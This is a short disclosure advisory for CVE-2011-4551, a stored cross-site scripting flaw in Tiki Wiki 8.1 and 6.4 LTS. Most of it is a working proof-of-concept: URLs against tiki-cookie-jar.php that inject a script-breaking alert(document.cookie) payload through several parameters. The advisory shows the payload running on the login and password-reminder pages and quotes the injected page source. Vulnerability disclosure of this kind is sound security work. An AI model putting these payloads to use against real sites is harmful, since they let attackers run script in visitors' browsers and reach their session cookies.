Affected Software:      Successfully tested on Tiki 8.1 & 6.4 LTS (affects all current releases)
Vendor URL:             http://info.tiki.org/
Vendor Status:          fixed
CVE-ID:                 CVE-2011-4551

==========================
Vulnerability Description
==========================

All current releases of Tiki Wiki are prone to a stored XSS vulnerability

==================
PoC-Exploit
==================

Tested with Firefox 7.01

Visit this URL

http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss=</style></script><script>alert(document.cookie)</script> 
-> blank site

But when you visit one of this pages, the XSS will be executed

http://<target>/tiki-8.1/tiki-login.php
http://<target>/tiki-8.1/tiki-remind_password.php

// browser source code

show_errors: 'y',
                xss: '</style></script><script>alert(document.cookie)</script>'
};

Another example: 

http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss1=</style></script><script>alert(document.cookie)</script>
http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss2=</style></script><script>alert(document.cookie)</script>
http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss3=</style></script><script>alert(document.cookie)</script>

All of them will be executed!

// browser source code

show_errors: 'y',
        xss1: '</style></script><script>alert(document.cookie)</script>',
        xss2: '</style></script><script>alert(document.cookie)</script>',
        xss3: '</style></script><script>alert(document.cookie)</script>'
};
